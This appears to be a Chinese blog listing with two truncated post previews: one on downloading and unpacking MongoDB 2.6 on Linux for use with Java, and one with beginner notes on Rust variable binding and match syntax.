tcrct
java mongodb
网上已经有一大堆的设置步骤的了,根据我遇到的问题,整理一下,如下:
首先先去下载一个mongodb最新版,目前最新版应该是2.6
cd /usr/local/bin
wget http://fastdl.mongodb.org/linux/mongodb-linux-x86_64-2.6.0.tgz
tar -zxvf mongodb-linux-x86_64-2.6.0.t
rust学习笔记
wudixiaotie
学习笔记
1.rust里绑定变量是let,默认绑定了的变量是不可更改的,所以如果想让变量可变就要加上mut。
let x = 1; let mut y = 2;
2.match 相当于erlang中的case,但是case的每一项后都是分号,但是rust的match却是逗号。
3.match 的每一项最后都要加逗号,但是最后一项不加也不会报错,所有结尾加逗号的用法都是类似。
4.每个语句结尾都要加分